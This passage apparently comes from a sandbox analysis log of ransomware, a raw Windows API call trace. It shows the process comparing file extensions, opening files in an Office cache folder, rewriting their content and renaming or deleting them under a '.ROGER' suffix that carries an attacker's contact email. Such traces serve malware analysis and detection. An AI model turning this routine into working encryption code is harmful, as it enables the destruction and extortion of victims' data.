(lpString1=".rar", lpString2=".msi") returned 1 [0048.829] lstrlenW (lpString=".bz2") returned 4 [0048.829] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.829] lstrlenW (lpString=".7z") returned 3 [0048.829] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString=".dbf") returned 4 [0048.829] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString=".1cd") returned 4 [0048.829] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.830] lstrlenW (lpString=".jpg") returned 4 [0048.830] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.830] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0048.830] lstrlenW (lpString="ose.exe") returned 7 [0048.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.830] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=174440) returned 1 [0048.830] CloseHandle (hObject=0x358) returned 1 [0048.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0048.830] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.830] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.831] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.831] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0048.831] GetLastError () returned 0x0 [0048.831] ReadFile (in: hFile=0x358, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0048.928] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0048.932] ReadFile (in: hFile=0x358, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.932] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0048.932] SetEndOfFile (hFile=0x3ac) returned 1 [0048.932] CloseHandle (hObject=0x3ac) returned 1 [0048.932] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.932] SetEndOfFile (hFile=0x358) returned 1 [0048.934] CloseHandle (hObject=0x358) returned 1 [0048.934] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0048.934] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0048.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.935] lstrlenW (lpString=".doc") returned 4 [0048.935] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.935] lstrlenW (lpString=".docx") returned 5 [0048.935] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.935] lstrlenW (lpString=".pdf") returned 4 [0048.935] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.935] lstrlenW (lpString=".xls") returned 4 [0048.935] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.935] lstrlenW (lpString=".xlsx") returned 5 [0048.935] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.935] lstrlenW (lpString=".ppt") returned 4 [0048.935] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.935] lstrlenW (lpString=".zip") returned 4 [0048.935] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.935] lstrlenW (lpString=".rar") returned 4 [0048.935] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.935] lstrlenW (lpString=".bz2") returned 4 [0048.935] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.935] lstrlenW (lpString=".7z") returned 3 [0048.935] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.935] lstrlenW (lpString=".dbf") returned 4 [0048.935] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.935] lstrlenW (lpString=".1cd") returned 4 [0048.936] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString=".jpg") returned 4 [0048.936] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString=".doc") returned 4 [0048.936] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.936] lstrlenW (lpString=".docx") returned 5 [0048.936] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.936] lstrlenW (lpString=".pdf") returned 4 [0048.936] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString=".xls") returned 4 [0048.936] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString=".xlsx") returned 5 [0048.936] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.936] lstrlenW (lpString=".ppt") returned 4 [0048.936] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString=".zip") returned 4 [0048.936] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString=".rar") returned 4 [0048.936] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.936] lstrlenW (lpString=".bz2") returned 4 [0048.936] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.936] lstrlenW (lpString=".7z") returned 3 [0048.936] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString=".dbf") returned 4 [0048.936] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.936] lstrlenW (lpString=".1cd") returned 4 [0048.937] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.937] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0048.937] lstrlenW (lpString=".jpg") returned 4 [0048.937] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.937] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0048.937] lstrlenW (lpString="osetup.dll") returned 10 [0048.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.937] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=7378792) returned 1 [0048.937] CloseHandle (hObject=0x358) returned 1 [0048.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0048.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.938] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0048.938] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.938] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.938] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.938] ReadFile (in: hFile=0x358, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.095] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.095] ReadFile (in: hFile=0x358, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.100] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.100] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.100] ReadFile (in: hFile=0x358, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.122] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.122] WriteFile (in: hFile=0x358, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0049.578] SetEndOfFile (hFile=0x358) returned 1 [0049.578] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e40088 [0049.578] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.578] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.580] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.580] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.583] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.583] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.585] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0049.585] CloseHandle (hObject=0x358) returned 1 [0049.585] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0049.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.586] lstrlenW (lpString=".doc") returned 4 [0049.586] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString=".docx") returned 5 [0049.586] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.586] lstrlenW (lpString=".pdf") returned 4 [0049.586] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString=".xls") returned 4 [0049.586] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString=".xlsx") returned 5 [0049.586] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.586] lstrlenW (lpString=".ppt") returned 4 [0049.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.586] lstrlenW (lpString=".zip") returned 4 [0049.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString=".rar") returned 4 [0049.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.586] lstrlenW (lpString=".bz2") returned 4 [0049.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.586] lstrlenW (lpString=".7z") returned 3 [0049.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.586] lstrlenW (lpString=".dbf") returned 4 [0049.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.586] lstrlenW (lpString=".1cd") returned 4 [0049.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.587] lstrlenW (lpString=".jpg") returned 4 [0049.587] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.587] lstrlenW (lpString=".doc") returned 4 [0049.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString=".docx") returned 5 [0049.587] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0049.587] lstrlenW (lpString=".pdf") returned 4 [0049.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString=".xls") returned 4 [0049.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString=".xlsx") returned 5 [0049.587] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0049.587] lstrlenW (lpString=".ppt") returned 4 [0049.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.587] lstrlenW (lpString=".zip") returned 4 [0049.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString=".rar") returned 4 [0049.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.587] lstrlenW (lpString=".bz2") returned 4 [0049.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.587] lstrlenW (lpString=".7z") returned 3 [0049.587] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.587] lstrlenW (lpString=".dbf") returned 4 [0049.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.588] lstrlenW (lpString=".1cd") returned 4 [0049.588] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0049.588] lstrlenW (lpString=".jpg") returned 4 [0049.588] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.588] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0049.588] lstrlenW (lpString="PidGenX.dll") returned 11 [0049.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.217] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1463568) returned 1 [0051.224] CloseHandle (hObject=0x390) returned 1 [0051.226] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0051.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.242] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.247] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.249] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0051.257] GetLastError () returned 0x0 [0051.257] ReadFile (in: hFile=0x390, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.284] WriteFile (in: hFile=0x3e0, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.384] ReadFile (in: hFile=0x390, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x65520, lpOverlapped=0x0) returned 1 [0051.398] WriteFile (in: hFile=0x3e0, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0051.407] ReadFile (in: hFile=0x390, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.407] WriteFile (in: hFile=0x3e0, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.407] SetEndOfFile (hFile=0x3e0) returned 1 [0051.477] CloseHandle (hObject=0x3e0) returned 1 [0051.628] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.628] SetEndOfFile (hFile=0x390) returned 1 [0051.643] CloseHandle (hObject=0x390) returned 1 [0051.643] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.644] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0051.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.647] lstrlenW (lpString=".doc") returned 4 [0051.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.648] lstrlenW (lpString=".docx") returned 5 [0051.648] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.648] lstrlenW (lpString=".pdf") returned 4 [0051.648] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.648] lstrlenW (lpString=".xls") returned 4 [0051.648] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.648] lstrlenW (lpString=".xlsx") returned 5 [0051.650] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.650] lstrlenW (lpString=".ppt") returned 4 [0051.650] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.652] lstrlenW (lpString="C:\\MSOCache\\All 